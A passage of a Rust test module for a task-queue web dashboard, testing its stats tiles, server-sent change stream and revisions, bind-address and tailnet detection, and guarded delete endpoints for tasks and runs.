13994 ("Ready", "ready"),
13995 ("Blocked", "blocked"),
13996 ("Stalled", "stalled"),
13997 ] {
13998 let call = format!("statusTile(\"{label}\", t.{status}, ");
13999 assert!(
14000 APP_JS.contains(&call),
14001 "expected the {label} KPI tile built via {call}..."
14002 );
14003 assert!(
14004 APP_JS.contains(&format!("status === \"{status}\"")),
14005 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
14006 compare a run against, not one invented only for the stats tile"
14007 );
14008 }
14009 assert!(
14010 APP_JS.contains("function openRunsFiltered(status)"),
14011 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
14012 );
14013 assert!(
14014 APP_JS.contains(
14015 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
14016 ),
14017 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
14018 );
14019 assert!(
14027 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
14028 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
14029 hashchange event that may never fire"
14030 );
14031 }
14032
14033 #[test]
14034 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
14035 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
14041 assert!(
14042 APP_JS.contains(
14043 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
14044 ),
14045 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
14046 guard for an incompatible tree section"
14047 );
14048 }
14049
14050 #[test]
14051 fn every_stats_queue_tile_names_a_real_queue_section() {
14052 assert!(
14058 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
14059 "every queue tile built through sectionTile() must route its click through \
14060 openQueueSectionFocus"
14061 );
14062 for key in ["upnext", "running", "done", "held", "blocked"] {
14063 assert!(
14064 APP_JS.contains(&format!("{{ key: \"{key}\",")),
14065 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
14066 );
14067 }
14068 for line in [
14072 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
14073 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
14074 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
14075 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
14076 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
14077 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
14078 ] {
14079 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
14080 }
14081 }
14082
14083 #[test]
14084 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
14085 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
14092 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
14093 assert!(APP_JS.contains("function revealQueueSection(details)"));
14094 assert!(
14095 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
14096 "renderQueue() must consume both focus channels on every pass"
14097 );
14098 assert!(
14099 APP_JS.contains(
14100 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
14101 ),
14102 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
14103 the recursive renderQueue() call has nothing left to reveal"
14104 );
14105 assert!(
14106 APP_JS.contains(
14107 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
14108 ),
14109 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
14110 );
14111 assert!(
14119 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
14120 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
14121 hashchange event that may never fire"
14122 );
14123 }
14124
14125 #[tokio::test]
14126 async fn the_change_stream_announces_the_current_revisions_on_connect() {
14127 let f = Fixture::start().await;
14128
14129 let mut socket = tokio::net::TcpStream::connect(f.addr)
14130 .await
14131 .expect("connect");
14132 socket
14133 .write_all(
14134 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
14135 )
14136 .await
14137 .expect("write request");
14138
14139 let mut seen = String::new();
14142 let mut buf = [0u8; 1024];
14143 while !seen.contains("event: change") {
14144 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
14145 .await
14146 .expect("the stream must speak within five seconds")
14147 .expect("read");
14148 assert!(read > 0, "the server closed the change stream: {seen}");
14149 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
14150 }
14151
14152 assert!(
14153 seen.to_lowercase()
14154 .contains("content-type: text/event-stream"),
14155 "the browser only reconnects automatically for a real SSE stream: {seen}"
14156 );
14157 let data = seen
14158 .lines()
14159 .find_map(|l| l.strip_prefix("data:"))
14160 .expect("a data line");
14161 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
14162 assert!(
14163 payload["queue_rev"].is_u64()
14164 && payload["runs_rev"].is_u64()
14165 && payload["questions_rev"].is_u64()
14166 && payload["talks_rev"].is_u64()
14167 && payload["notifications_rev"].is_u64()
14168 && payload["loop_rev"].is_u64(),
14169 "the client needs one revision per store to know what to refetch, \
14170 and `talks_rev` is the only notification a standing talk gets - a \
14171 phone whose radio slept through a turn learns about it here, as \
14172 does one whose operator started the loop from another device: \
14173 {payload}"
14174 );
14175
14176 let health = f.get("/api/health").await.json();
14183 for key in [
14184 "queue_rev",
14185 "runs_rev",
14186 "questions_rev",
14187 "talks_rev",
14188 "notifications_rev",
14189 "loop_rev",
14190 ] {
14191 assert!(
14192 health[key].is_u64(),
14193 "health is the change stream's fallback and is missing `{key}`: {health}"
14194 );
14195 }
14196 }
14197
14198 #[tokio::test]
14199 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
14200 let f = Fixture::start().await;
14201 let before = f.get("/api/health").await.json()["talks_rev"]
14202 .as_u64()
14203 .expect("talks_rev");
14204
14205 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
14206 std::thread::sleep(Duration::from_millis(10));
14207 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
14208 on_disk.turns.push(crate::talk::Turn {
14209 breaks: Some(Vec::new()),
14210 posted_by: None,
14211 who: crate::talk::Who::Operator,
14212 body: "a new turn".to_owned(),
14213 at: Timestamp::now(),
14214 attachments: Vec::new(),
14215 usage: None,
14216 });
14217 f.talks().put(&mut on_disk).expect("record a turn");
14218
14219 let after = f.get("/api/health").await.json()["talks_rev"]
14220 .as_u64()
14221 .expect("talks_rev");
14222 assert_ne!(
14223 before, after,
14224 "a phone must be able to notice a talk's reply without polling every store"
14225 );
14226 }
14227
14228 #[test]
14229 fn bind_reads_back_from_the_spelling_the_cli_prints() {
14230 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
14234 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
14235 }
14236 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
14237 assert!("everywhere".parse::<Bind>().is_err());
14238 }
14239
14240 #[test]
14241 fn an_explicit_bind_address_is_taken_verbatim() {
14242 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
14243
14244 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
14245
14246 assert_eq!(addr, asked);
14247 assert!(
14248 warning.is_none(),
14249 "an operator who named an address gets no lecture"
14250 );
14251 }
14252
14253 #[test]
14254 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
14255 let (addr, warning) = resolve_bind(&Bind::Auto);
14256
14257 match addr {
14264 IpAddr::V4(ip) if is_tailnet(&ip) => {
14265 assert!(warning.is_none(), "a tailnet address needs no warning");
14266 }
14267 other => {
14268 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
14269 let warning = warning.expect("a fallback has to explain itself");
14270 assert!(
14271 warning.contains("127.0.0.1") && warning.contains("local-only"),
14272 "the warning says what happened and what it costs: {warning}"
14273 );
14274 }
14275 }
14276 }
14277
14278 #[test]
14279 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
14280 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
14284 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
14285 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
14286 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
14287 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
14288 }
14289
14290 #[test]
14291 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
14292 let ids = vec![
14293 "20260902-140501-aaaa".to_owned(),
14294 "20260902-140502-aabb".to_owned(),
14295 ];
14296
14297 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
14298 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
14299 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
14300
14301 assert_eq!(missing.status, StatusCode::NOT_FOUND);
14302 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
14303 assert_eq!(short, "20260902-140502-aabb");
14304 }
14305 #[tokio::test]
14306 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
14307 let fx = Fixture::start().await;
14313 let id = panel(
14314 &fx,
14315 "<img src=\"shot.png\">",
14316 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
14317 );
14318
14319 let doc = fx
14321 .get(&format!("/api/questions/{id}/panel/index.html"))
14322 .await;
14323 assert_eq!(doc.status, 200, "{}", doc.body);
14324 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
14325
14326 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
14327 assert_eq!(sibling.status, 200, "{}", sibling.body);
14328 assert_eq!(sibling.header("content-type"), Some("image/png"));
14329 assert_eq!(
14330 sibling.header("content-security-policy"),
14331 Some(PANEL_CSP),
14332 "the sibling route must carry the same policy as the asset route"
14333 );
14334
14335 assert_eq!(
14338 fx.head(&format!("/api/questions/{id}/panel")).await.status,
14339 200
14340 );
14341 }
14342
14343 #[test]
14344 fn delta_stamps_cover_add_update_remove_and_noop() {
14345 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
14346 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
14347 let delta = diff_stamps(&before, &after, 42);
14348 assert_eq!(delta.base, 42);
14349 assert_eq!(delta.changed, ["b", "c"]);
14350 assert_eq!(delta.removed, ["a"]);
14351 let same = diff_stamps(&after, &after, 43);
14352 assert!(same.changed.is_empty() && same.removed.is_empty());
14353 assert_ne!(stamps_revision(&before), stamps_revision(&after));
14354 let nanos: Stamps = [("b".into(), (2, 20))].into();
14355 let same_ms: Stamps = [("b".into(), (3, 20))].into();
14356 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
14357 assert_eq!(stamps_revision(&Stamps::new()), 0);
14358 }
14359
14360 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
14361 std::fs::create_dir_all(home.join("runs")).unwrap();
14362 Arc::new(Ui::new(
14363 Queue::at(home.join("queue")),
14364 Questions::at(home.join("questions")),
14365 Talks::at(home.join("talks")),
14366 home.join("runs"),
14367 home.to_owned(),
14368 PathBuf::from("/repo/magi"),
14369 ))
14370 }
14371
14372 #[tokio::test]
14373 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
14374 let home = TempDir::new().unwrap();
14375 let ui = delta_test_ui(home.path());
14376 let mut task = Task::new(
14377 "stream task".into(),
14378 "text".into(),
14379 PathBuf::from("/repo"),
14380 Source::Human,
14381 );
14382 ui.queue.put(&mut task).unwrap();
14383 let response = events(State(ui.clone())).await.into_response();
14384 let mut stream = response.into_body().into_data_stream();
14385 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
14386 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
14387 .await
14388 .unwrap()
14389 .unwrap()
14390 .unwrap();
14391 let text = String::from_utf8(chunk.to_vec()).unwrap();
14392 let data = text
14393 .lines()
14394 .find_map(|line| {
14395 line.strip_prefix("data: ")
14396 .or_else(|| line.strip_prefix("data:"))
14397 })
14398 .unwrap();
14399 serde_json::from_str(data).unwrap()
14400 }
14401 let initial = change(&mut stream).await;
14402 assert!(initial.get("queue_delta").is_none());
14403 task.instruction.push_str(" changed");
14404 ui.queue.put(&mut task).unwrap();
14405 let updated = change(&mut stream).await;
14406 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
14407 assert_eq!(
14408 updated["queue_delta"]["changed"],
14409 serde_json::json!([task.id])
14410 );
14411 assert_eq!(
14412 updated["queue_rev"].as_u64(),
14413 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
14414 );
14415 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
14416 let removed = change(&mut stream).await;
14417 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
14418 assert_eq!(
14419 removed["queue_delta"]["removed"],
14420 serde_json::json!([task.id])
14421 );
14422 }
14423
14424 #[tokio::test]
14425 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
14426 let home = TempDir::new().unwrap();
14427 let ui = delta_test_ui(home.path());
14428 let queue = ui.queue.clone();
14429 let query = |ids: Option<&str>| {
14430 Query(ListQuery {
14431 limit: Some(2),
14432 ids: ids.map(str::to_owned),
14433 })
14434 };
14435 let mut root = Task::new(
14436 "root".into(),
14437 "instruction".into(),
14438 PathBuf::from("/repo"),
14439 Source::Human,
14440 );
14441 queue.put(&mut root).unwrap();
14442 let mut blocked = Task::new(
14443 "blocked".into(),
14444 "instruction".into(),
14445 PathBuf::from("/repo"),
14446 Source::Human,
14447 );
14448 blocked.block(vec![root.id.clone()], None);
14449 queue.put(&mut blocked).unwrap();
14450 let whole =
14451 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
14452 .unwrap();
14453 let subset = serde_json::to_value(
14454 queue_list(State(ui.clone()), query(Some(&root.id)))
14455 .await
14456 .unwrap()
14457 .0,
14458 )
14459 .unwrap();
14460 assert_eq!(whole, subset, "requested root plus its blocked dependent");
14461 let blockers = serde_json::to_value(
14462 queue_list(State(ui.clone()), query(Some("")))
14463 .await
14464 .unwrap()
14465 .0,
14466 )
14467 .unwrap();
14468 assert_eq!(blockers.as_array().unwrap().len(), 1);
14469 assert_eq!(blockers[0]["id"], blocked.id);
14470 assert_eq!(
14471 blockers[0]["waits_on"],
14472 whole
14473 .as_array()
14474 .unwrap()
14475 .iter()
14476 .find(|row| row["id"] == blocked.id)
14477 .unwrap()["waits_on"]
14478 );
14479
14480 for id in [
14481 "20260902-140501-aaaa",
14482 "20260902-140502-bbbb",
14483 "20260902-140503-cccc",
14484 ] {
14485 write_run(&ui.runs, id, RunStatus::Merged);
14486 }
14487 let old = serde_json::to_value(
14488 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
14489 .await
14490 .unwrap()
14491 .0,
14492 )
14493 .unwrap();
14494 assert!(
14495 old.as_array().unwrap().is_empty(),
14496 "older updates must not enter the window"
14497 );
14498 let newest = serde_json::to_value(
14499 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
14500 .await
14501 .unwrap()
14502 .0,
14503 )
14504 .unwrap();
14505 assert_eq!(newest.as_array().unwrap().len(), 1);
14506 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
14507
14508 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
14509 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
14510 let talks = serde_json::to_value(
14511 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
14512 .await
14513 .unwrap()
14514 .0,
14515 )
14516 .unwrap();
14517 assert_eq!(talks.as_array().unwrap().len(), 1);
14518 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
14519 assert_eq!(
14520 serde_json::to_value(
14521 talks_list(State(ui.clone()), query(Some("")))
14522 .await
14523 .unwrap()
14524 .0
14525 )
14526 .unwrap(),
14527 serde_json::json!([])
14528 );
14529 }
14530
14531 #[tokio::test]
14532 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
14533 async fn delta_payload_benchmark() {
14534 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
14535 let ui = delta_test_ui(&home);
14536 let query = |ids: Option<String>| {
14537 Query(ListQuery {
14538 limit: Some(50),
14539 ids,
14540 })
14541 };
14542 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
14543 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
14544 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
14545 let queue_id = queue
14546 .iter()
14547 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
14548 .unwrap_or(&queue[0])
14549 .task
14550 .id
14551 .clone();
14552 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
14553 .await
14554 .unwrap()
14555 .0;
14556 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
14557 .await
14558 .unwrap()
14559 .0;
14560 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
14561 .await
14562 .unwrap()
14563 .0;
14564 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
14565 eprintln!(
14566 "DELTA_PAYLOAD {}",
14567 serde_json::json!({
14568 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
14569 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
14570 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
14571 "counts": [queue.len(), runs.len(), talks.len()],
14572 "blocked": queue_delta.len() - 1,
14573 })
14574 );
14575 }
14576
14577 #[test]
14578 fn runs_revision_moves_when_deleting_an_older_run() {
14579 let temp = TempDir::new().expect("tempdir");
14580 let runs = temp.path().join("runs");
14581 std::fs::create_dir_all(&runs).expect("create runs dir");
14582
14583 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
14584
14585 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
14586 std::thread::sleep(Duration::from_millis(10));
14587 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
14588
14589 let rev_before = runs_revision(&runs);
14590 assert!(rev_before > 0);
14591
14592 let old_dir = runs.join("20260901-100000-old1");
14593 std::fs::remove_dir_all(&old_dir).expect("remove old run");
14594
14595 let rev_after = runs_revision(&runs);
14596 assert_ne!(
14597 rev_before, rev_after,
14598 "deleting an older run must change the revision so other clients see the deletion"
14599 );
14600 }
14601
14602 fn write_state(runs: &FsPath, state: &RunState) {
14607 let dir = runs.join(&state.id);
14608 std::fs::create_dir_all(&dir).expect("run dir");
14609 std::fs::write(
14610 dir.join("run.json"),
14611 serde_json::to_string_pretty(state).expect("serialize run"),
14612 )
14613 .expect("write run.json");
14614 }
14615
14616 #[test]
14621 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
14622 let temp = TempDir::new().expect("tempdir");
14623 let runs = temp.path().join("runs");
14624 std::fs::create_dir_all(&runs).expect("create runs dir");
14625 let mut state = RunState::new(
14626 PathBuf::from("/repo/magi"),
14627 "main".to_owned(),
14628 "0123456789abcdef".to_owned(),
14629 "task".to_owned(),
14630 Config::default(),
14631 );
14632 state.id = "20260902-100000-c0de".to_owned();
14633 write_state(&runs, &state);
14634
14635 let rev_idle = runs_revision(&runs);
14636 std::thread::sleep(Duration::from_millis(10));
14637 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
14638 write_state(&runs, &state);
14639 let rev_started = runs_revision(&runs);
14640 assert_ne!(
14641 rev_idle, rev_started,
14642 "a seat starting must move the revision"
14643 );
14644
14645 std::thread::sleep(Duration::from_millis(10));
14646 state.seat_finished("judge-1");
14647 write_state(&runs, &state);
14648 let rev_finished = runs_revision(&runs);
14649 assert_ne!(
14650 rev_started, rev_finished,
14651 "and clearing it again must move the revision a second time"
14652 );
14653 }
14654
14655 #[tokio::test]
14656 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
14657 let fx = Fixture::start().await;
14662 let q = fx.queue();
14663
14664 let mut t = Task::new(
14665 "Task".to_owned(),
14666 "Instruction".to_owned(),
14667 PathBuf::from("/repo"),
14668 Source::Human,
14669 );
14670 t.block(
14671 vec!["20260101-000000-dead".to_owned()],
14672 Some("waiting on Task 1".to_owned()),
14673 );
14674 t.answers.push(crate::queue::AnsweredQuestion {
14675 question: "Which backend?".to_owned(),
14676 answer: "SQLite".to_owned(),
14677 });
14678 q.put(&mut t).expect("put t");
14679
14680 let res = fx.get("/api/queue").await;
14681 assert_eq!(res.status, 200);
14682 let list = res.json();
14683 let view = list
14684 .as_array()
14685 .expect("array")
14686 .iter()
14687 .find(|v| v["id"] == t.id)
14688 .expect("task in list");
14689 assert_eq!(view["status_str"], "blocked");
14690 assert_eq!(
14691 view["blocked_by"],
14692 serde_json::json!(["20260101-000000-dead"])
14693 );
14694 assert_eq!(view["block_reason"], "waiting on Task 1");
14695 assert_eq!(view["answers"][0]["question"], "Which backend?");
14696 assert_eq!(view["answers"][0]["answer"], "SQLite");
14697
14698 let res = fx
14702 .post(&format!("/api/queue/{}/hold", t.short()), None)
14703 .await;
14704 assert_eq!(res.status, 200);
14705 let held = res.json();
14706 assert_eq!(held["status_str"], "held");
14707 assert_eq!(held["blocked_by"], serde_json::json!([]));
14708 assert!(held["block_reason"].is_null());
14709 assert_eq!(held["answers"][0]["answer"], "SQLite");
14710 }
14711
14712 #[tokio::test]
14713 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
14714 let fx = Fixture::start().await;
14715 let q = fx.queue();
14716 let mk = |title: &str| {
14717 Task::new(
14718 title.to_owned(),
14719 "Instruction".to_owned(),
14720 PathBuf::from("/repo"),
14721 Source::Human,
14722 )
14723 };
14724 let mut root = mk("root");
14725 root.hold_manual(Some("waiting".to_owned()));
14726 q.put(&mut root).unwrap();
14727 let mut mid = mk("mid");
14728 mid.block(vec![root.id.clone()], None);
14729 q.put(&mut mid).unwrap();
14730 let mut leaf = mk("leaf");
14731 leaf.block(vec![mid.id.clone()], None);
14732 q.put(&mut leaf).unwrap();
14733
14734 let list = fx.get("/api/queue").await.json();
14735 let find = |id: &str| {
14736 list.as_array()
14737 .unwrap()
14738 .iter()
14739 .find(|v| v["id"] == id)
14740 .unwrap()
14741 .clone()
14742 };
14743 let leaf_view = find(&leaf.id);
14744 assert_eq!(
14745 leaf_view["waits_on"],
14746 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
14747 );
14748 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
14749 assert_eq!(
14750 find(&mid.id)["waits_on"],
14751 serde_json::json!([format!("{} (held)", root.short())])
14752 );
14753 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
14754 }
14755
14756 #[tokio::test]
14757 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
14758 let fx = Fixture::start().await;
14759 let q = fx.queue();
14760
14761 let mut t1 = Task::new(
14763 "Task 1".to_owned(),
14764 "Instruction 1".to_owned(),
14765 PathBuf::from("/repo"),
14766 Source::Human,
14767 );
14768 let run_id = "20260901-000000-r111";
14769 t1.runs.push(run_id.to_owned());
14770 write_run(&fx.runs(), run_id, RunStatus::Merged);
14771 q.put(&mut t1).expect("put t1");
14772
14773 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
14775 assert_eq!(res.status, 204);
14776 assert!(res.body.is_empty(), "204 No Content has no body");
14777 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
14778 assert!(
14779 fx.runs().join(run_id).exists(),
14780 "run directory must not be deleted when its task is deleted"
14781 );
14782
14783 let mut t2 = Task::new(
14785 "Task 2".to_owned(),
14786 "Instruction 2".to_owned(),
14787 PathBuf::from("/repo"),
14788 Source::Human,
14789 );
14790 t2.status = TaskStatus::Running;
14791 q.put(&mut t2).expect("put t2");
14792 let mut beat = crate::daemon::Status::new();
14793 beat.current = vec![crate::daemon::Current {
14794 task: t2.id.clone(),
14795 run: "20260901-000000-r222".to_owned(),
14796 }];
14797 beat.updated_at = jiff::Timestamp::now();
14798 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14799 .expect("publish a heartbeat");
14800 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
14801 assert_eq!(res.status, 409);
14802 assert!(
14803 res.json()["error"]
14804 .as_str()
14805 .unwrap()
14806 .contains("live daemon")
14807 );
14808 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
14809
14810 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
14816 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14817 .expect("leave a stale heartbeat");
14818 let mut t3 = Task::new(
14819 "Task 3".to_owned(),
14820 "Instruction 3".to_owned(),
14821 PathBuf::from("/repo"),
14822 Source::Human,
14823 );
14824 t3.status = TaskStatus::Running;
14825 q.put(&mut t3).expect("put t3");
14826 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
14827 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
14828 assert_eq!(res.status, 204);
14829 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
14830 assert!(
14831 q.claim(&t3.id).is_ok(),
14832 "the stale lock went with it, so the id is claimable again"
14833 );
14834
14835 let res = fx.delete("/api/queue/nonexistent").await;
14837 assert_eq!(res.status, 404);
14838 }
14839
14840 #[tokio::test]
14841 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
14842 let fx = Fixture::start().await;
14843 let runs = fx.runs();
14844
14845 let run_id = "20260901-000000-fold";
14847 let mut state = RunState::new(
14848 PathBuf::from("/repo"),
14849 "main".to_owned(),
14850 "abc".to_owned(),
14851 "instruction".to_owned(),
14852 Config::default(),
14853 );
14854 state.id = run_id.to_owned();
14855 state.status = RunStatus::Merged;
14856 state.candidates.push(crate::run::Candidate {
14857 index: 0,
14858 label: 'A',
14859 agent: "a".to_owned(),
14860 branch: "b".to_owned(),
14861 worktree: PathBuf::from("/w"),
14862 summary: String::new(),
14863 stat: String::new(),
14864 files: 1,
14865 commits: 1,
14866 empty: false,
14867 failed: None,
14868 verified_noop: None,
14869 duration_ms: 0,
14870 folded: true,
14871 });
14872 let dir = runs.join(run_id);
14873 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
14874 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
14875 .expect("write artifact");
14876 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
14877 .expect("write run.json");
14878
14879 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
14881 assert_eq!(res.status, 204);
14882 assert!(res.body.is_empty(), "204 has no body");
14883 assert!(!dir.exists(), "run directory and artifacts must be deleted");
14884
14885 let run_running = "20260901-000000-rung";
14890 write_run(&runs, run_running, RunStatus::Prep);
14891 let mut beat = crate::daemon::Status::new();
14892 beat.current = vec![crate::daemon::Current {
14893 task: "20260901-000000-task".to_owned(),
14894 run: run_running.to_owned(),
14895 }];
14896 beat.updated_at = jiff::Timestamp::now();
14897 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14898 .expect("publish a heartbeat");
14899 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
14900 assert_eq!(res.status, 409);
14901 assert!(
14902 res.json()["error"]
14903 .as_str()
14904 .unwrap()
14905 .contains("live daemon"),
14906 "the refusal must say who is holding it"
14907 );
14908 assert!(
14909 runs.join(run_running).exists(),
14910 "a run in flight keeps its directory"
14911 );
14912
14913 let run_unfolded = "20260901-000000-unfd";
14915 let mut state2 = RunState::new(
14916 PathBuf::from("/repo"),
14917 "main".to_owned(),
14918 "abc".to_owned(),
14919 "instruction".to_owned(),
14920 Config::default(),
14921 );
14922 state2.id = run_unfolded.to_owned();
14923 state2.status = RunStatus::Ready;
14924 state2.candidates.push(crate::run::Candidate {
14925 index: 0,
14926 label: 'A',
14927 agent: "a".to_owned(),
14928 branch: "b".to_owned(),
14929 worktree: PathBuf::from("/w"),
14930 summary: String::new(),
14931 stat: String::new(),
14932 files: 1,
14933 commits: 1,
14934 empty: false,
14935 failed: None,
14936 verified_noop: None,
14937 duration_ms: 0,
14938 folded: false,
14939 });
14940 let dir2 = runs.join(run_unfolded);
14941 std::fs::create_dir_all(&dir2).expect("create dir2");
14942 std::fs::write(
14943 dir2.join("run.json"),
14944 serde_json::to_string(&state2).unwrap(),
14945 )
14946 .expect("write run.json");
14947
14948 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
14949 assert_eq!(res.status, 409);
14950 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
14951 assert!(dir2.exists(), "unfolded run directory is kept");
14952
14953 let res = fx.delete("/api/runs/nonexistent").await;
14955 assert_eq!(res.status, 404);
14956 }
14957
14958 #[test]
14967 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
14968 let start = APP_JS
14969 .find("function renderStats() {")
14970 .expect("renderStats");
14971 let end = start
14972 + APP_JS[start..]
14973 .find("function statsTile(")
14974 .expect("the next top-level function");
14975 let body = &APP_JS[start..end];
14976
14977 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
14978 let gate_end = gate_start
14979 + body[gate_start..]
14980 .find("}\n renderStatsQueue")
14981 .expect("the gate's own closing brace, right before the unconditional call");
14982 let gated = &body[gate_start..gate_end];
14983
